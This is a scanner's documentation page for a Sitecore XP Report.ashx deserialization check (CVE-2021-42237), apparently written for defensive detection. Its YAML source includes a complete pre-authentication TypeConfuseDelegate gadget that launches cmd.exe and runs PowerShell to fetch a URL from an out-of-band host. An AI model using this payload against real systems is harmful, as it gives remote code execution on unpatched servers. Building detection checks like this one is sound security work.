Sitecore — 1 vulnerability check
noctis ships 1 vulnerability check for Sitecore, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Sitecore XP Report.ashx Pre-Auth Deserialization RCE
| CVE | CVE-2021-42237 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | set_var, script, http_request, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/sitecore/CVE-2021-42237.yaml |
Detects the Sitecore Experience Platform pre-authentication insecure deserialization in /sitecore/shell/ClientBin/Reporting/Report.ashx (CVE-2021-42237, CISA KEV). A benign probe asks NetDataContractSerializer to resolve a type from a non-existent, per-run-named assembly; a vulnerable handler reflects the resulting .NET exception naming that assembly. When OOB is configured, the public TypeConfuseDelegate gadget then makes the host fetch a per-run OOB URL in memory, confirming code execution.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /sitecore/shell/ClientBin/Reporting/Report.ashxwith a crafted body - Checks
probe.bodyfor(System\.Runtime\.Serialization\.SerializationException|System\.IO\.F… - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /sitecore/shell/ClientBin/Reporting/Report.ashxwith a crafted body - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: Sitecore XP Report.ashx code execution confirmed (CVE-2021-42237): NetDataContractSerializer resolved the per-run probe assembly NoctisProb…
- Checks
probe.bodyforNoctisProbe[0-9a-f]{32}→ finding QoD 75: Sitecore XP Report.ashx deserializes unauthenticated input with NetDataContractSerializer (CVE-2021-42237): the handler tried to load the s…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2021-42237
- https://blog.assetnote.io/2021/11/02/sitecore-rce/
- https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1000776
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/sitecore_xp_cve_2021_42237.rb
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-42237.yaml
Feed source — tests/vulnerabilities/sitecore/CVE-2021-42237.yaml
# Sitecore Experience Platform (XP) — pre-auth NetDataContractSerializer deserialization
# in Report.ashx (CVE-2021-42237).
#
# Sitecore XP 7.5.0 - 7.5.2 and 8.0.0 - 8.2.7 (8.2 Update-7) ship
# /sitecore/shell/ClientBin/Reporting/Report.ashx. Its handler
# (Sitecore.Xdb.Client.dll) processes the posted report query without checking
# authentication; ReportDataSerializer.DeserializeQuery() ->
# DeserializeParameters() hands every named <parameter> element to
# NetDataContractSerializer.ReadObject(). NetDataContractSerializer trusts the
# z:Type / z:Assembly attributes of the XML, so the attacker picks the type that
# gets instantiated (TypeConfuseDelegate gadget -> Process.Start). CISA KEV
# (2022-03-25), known ransomware use. The vendor fix (KB1000776) is to delete
# Report.ashx; XP 7.2.6 and earlier and 9.0+ are not affected.
#
# Detection — two benign proofs, nothing written, persisted or read off the host:
# 1. In-band type-resolution proof (QoD 75, always runs). A per-run token is
# minted and a single <parameter> is posted whose root element names a type
# in an assembly that cannot exist: z:Assembly="NoctisProbe<tok>". A
# vulnerable handler passes it to NetDataContractSerializer, which tries to
# load that attacker-named assembly, fails, and Report.ashx renders the
# .NET exception (with stack trace, HTTP 200 — the same rendering the
# Metasploit `check` keys on) naming our NoctisProbe<tok> assembly. Nothing
# is instantiated. The match needs both the per-run token AND a .NET
# loader/serializer exception type, which the request does not contain, so
# a WAF or error page that merely echoes the request body cannot match.
# 2. OOB confirmation of code execution (QoD 97, only when OOB is configured
# and proof 1 fired). The public TypeConfuseDelegate gadget (as in the
# Nuclei template and the Metasploit module) makes the deserializer call
# Process.Start("cmd.exe", "/c powershell ... DownloadString(<oob url>)"):
# PowerShell fetches the per-run OOB URL into memory and discards it —
# nothing is written to disk. The OOB token is split into two
# PowerShell string literals joined by `+`, so only a host that actually
# runs the command rebuilds /<oob_token>; a proxy/IDS that fetches URLs seen
# in the request hits a wrong path. Gating it on proof 1 means the
# process-spawning payload is only ever sent to a host already proven to
# run the vulnerable deserializer.
#
# Better than the Nuclei template / OpenVAS-style checks: Nuclei needs a DNS
# interaction (fails when the target has no DNS egress) and its in-band word
# `System.ArgumentNullException` is a generic .NET error string. Proof 1 here
# needs no egress at all and is keyed on a per-run token reflected through the
# deserializer itself; proof 2 upgrades it to confirmed execution over HTTP.
uid: ad52aaaa-492d-478d-a14a-413926aa1923
name: "Sitecore XP Report.ashx Pre-Auth Deserialization RCE (CVE-2021-42237)"
description: |
Detects the Sitecore Experience Platform pre-authentication insecure
deserialization in /sitecore/shell/ClientBin/Reporting/Report.ashx
(CVE-2021-42237, CISA KEV). A benign probe asks NetDataContractSerializer to
resolve a type from a non-existent, per-run-named assembly; a vulnerable
handler reflects the resulting .NET exception naming that assembly. When OOB
is configured, the public TypeConfuseDelegate gadget then makes the host fetch
a per-run OOB URL in memory, confirming code execution.
cves: [CVE-2021-42237]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags: [sitecore, sitecore-xp, report-ashx, deserialization, netdatacontractserializer, dotnet, rce, kev, pre-auth, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2021-42237"
- "https://blog.assetnote.io/2021/11/02/sitecore-rce/"
- "https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1000776"
- "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/sitecore_xp_cve_2021_42237.rb"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-42237.yaml"
steps:
- id: init-gate
action: set_var
var_name: deser_ok
var_value: false
# Per-run token, rand_hex(16) => 32 hex chars.
- id: gen-token
action: script
code: |
rand_hex(16)
store_as: tok
# Proof 1 — one named <parameter> whose root element asks
# NetDataContractSerializer for a type in the non-existent assembly
# NoctisProbe<tok>. Root element / namespaces mirror the public PoC.
- id: deser-probe
action: http_request
method: POST
path: "/sitecore/shell/ClientBin/Reporting/Report.ashx"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
headers:
Content-Type: "text/xml"
body: |
<?xml version="1.0" ?>
<a>
<query></query>
<source>foo</source>
<parameters>
<parameter name="noctis">
<ArrayOfstring z:Id="1" z:Type="NoctisProbe.T{{tok}}" z:Assembly="NoctisProbe{{tok}}"
xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays"
xmlns:i="http://www.w3.org/2001/XMLSchema-instance"
xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/"/>
</parameter>
</parameters>
</a>
store_as: probe
# The rendered exception must name our per-run assembly AND be a .NET
# serializer/loader exception (SerializationException "Assembly '<x>' is not
# found." on .NET Framework 4.x; the File*Exception variants cover runtimes
# that surface the raw Assembly.Load failure; the bare message covers a
# handler that prints only ex.Message). The request contains none of these
# strings (only z:Assembly="NoctisProbe..."), so a body echo cannot match. probe is always defined here
# (http_request stores a result even on non-2xx), and a transport failure
# leaves body () — stridx on () throws, which reads as false.
- id: deser-confirm
action: match
source: probe.body
pattern: "(System\\.Runtime\\.Serialization\\.SerializationException|System\\.IO\\.FileNotFoundException|System\\.IO\\.FileLoadException|Assembly 'NoctisProbe[0-9a-f]{32}' is not found)"
condition: "stridx(probe.body, \"NoctisProbe\" + tok) >= 0"
on_match:
set_vars:
deser_ok: true
# Proof 2 (OOB only, and only on a host proven by proof 1): split the OOB
# token so only real PowerShell string concatenation rebuilds the path.
- id: split-oob-token
action: script
condition: "oob_enabled && deser_ok == true"
code: |
let n = strlen(oob_token);
#{ a: substr(oob_token, 0, 7), b: substr(oob_token, 8, n - 1) }
store_as: oobsplit
# Public TypeConfuseDelegate gadget (Nuclei / Metasploit), command swapped for
# an in-memory HTTP fetch of the per-run OOB URL.
- id: gadget-oob
action: http_request
method: POST
path: "/sitecore/shell/ClientBin/Reporting/Report.ashx"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: "oob_enabled && deser_ok == true"
headers:
Content-Type: "text/xml"
body: |
<?xml version="1.0" ?>
<a>
<query></query>
<source>foo</source>
<parameters>
<parameter name="noctis">
<ArrayOfstring z:Id="1" z:Type="System.Collections.Generic.SortedSet`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays"
xmlns:i="http://www.w3.org/2001/XMLSchema-instance"
xmlns:x="http://www.w3.org/2001/XMLSchema"
xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/">
<Count z:Id="2" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Count>
<Comparer z:Id="3" z:Type="System.Collections.Generic.ComparisonComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="0" xmlns="">
<_comparison z:Id="4" z:FactoryType="a:DelegateSerializationHolder" z:Type="System.DelegateSerializationHolder" z:Assembly="0"
xmlns="http://schemas.datacontract.org/2004/07/System.Collections.Generic"
xmlns:a="http://schemas.datacontract.org/2004/07/System">
<Delegate z:Id="5" z:Type="System.DelegateSerializationHolder+DelegateEntry" z:Assembly="0" xmlns="">
<a:assembly z:Id="6">mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:assembly>
<a:delegateEntry z:Id="7">
<a:assembly z:Ref="6" i:nil="true"/>
<a:delegateEntry i:nil="true"/>
<a:methodName z:Id="8">Compare</a:methodName>
<a:target i:nil="true"/>
<a:targetTypeAssembly z:Ref="6" i:nil="true"/>
<a:targetTypeName z:Id="9">System.String</a:targetTypeName>
<a:type z:Id="10">System.Comparison`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type>
</a:delegateEntry>
<a:methodName z:Id="11">Start</a:methodName>
<a:target i:nil="true"/>
<a:targetTypeAssembly z:Id="12">System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:targetTypeAssembly>
<a:targetTypeName z:Id="13">System.Diagnostics.Process</a:targetTypeName>
<a:type z:Id="14">System.Func`3[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type>
</Delegate>
<method0 z:Id="15" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection">
<Name z:Ref="11" i:nil="true"/>
<AssemblyName z:Ref="12" i:nil="true"/>
<ClassName z:Ref="13" i:nil="true"/>
<Signature z:Id="16" z:Type="System.String" z:Assembly="0">System.Diagnostics.Process Start(System.String, System.String)</Signature>
<Signature2 z:Id="17" z:Type="System.String" z:Assembly="0">System.Diagnostics.Process Start(System.String, System.String)</Signature2>
<MemberType z:Id="18" z:Type="System.Int32" z:Assembly="0">8</MemberType>
<GenericArguments i:nil="true"/>
</method0>
<method1 z:Id="19" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection">
<Name z:Ref="8" i:nil="true"/>
<AssemblyName z:Ref="6" i:nil="true"/>
<ClassName z:Ref="9" i:nil="true"/>
<Signature z:Id="20" z:Type="System.String" z:Assembly="0">Int32 Compare(System.String, System.String)</Signature>
<Signature2 z:Id="21" z:Type="System.String" z:Assembly="0">System.Int32 Compare(System.String, System.String)</Signature2>
<MemberType z:Id="22" z:Type="System.Int32" z:Assembly="0">8</MemberType>
<GenericArguments i:nil="true"/>
</method1>
</_comparison>
</Comparer>
<Version z:Id="23" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Version>
<Items z:Id="24" z:Type="System.String[]" z:Assembly="0" z:Size="2" xmlns="">
<string z:Id="25" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays">/c powershell -NoProfile -NonInteractive -Command "(New-Object Net.WebClient).DownloadString('http://{{oob_host}}:{{oob_port}}/'+'{{oobsplit.a}}'+'{{oobsplit.b}}') | Out-Null"</string>
<string z:Id="26" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays">cmd.exe</string>
</Items>
</ArrayOfstring>
</parameter>
</parameters>
</a>
store_as: gadget_resp
- id: wait-callback
action: wait_oob
oob_timeout_secs: 20
condition: "oob_enabled && deser_ok == true"
store_as: oob_result
on_success:
finding:
confidence_delta: 0.67
qod: 97
evidence: "Sitecore XP Report.ashx code execution confirmed (CVE-2021-42237): NetDataContractSerializer resolved the per-run probe assembly NoctisProbe{{tok}}, then the TypeConfuseDelegate gadget made the host rebuild the split OOB token in PowerShell and fetch the per-run OOB URL (HTTP callback received)"
stop: true
# Proof 1 result (no OOB configured, or no callback received).
- id: report-deser
action: match
source: probe.body
pattern: "NoctisProbe[0-9a-f]{32}"
condition: "deser_ok == true"
on_match:
finding:
confidence_delta: 0.45
qod: 75
evidence: "Sitecore XP Report.ashx deserializes unauthenticated input with NetDataContractSerializer (CVE-2021-42237): the handler tried to load the scanner-named per-run assembly NoctisProbe{{tok}} and rendered the resulting .NET exception (HTTP {{probe.status}}); nothing was instantiated"
stop: true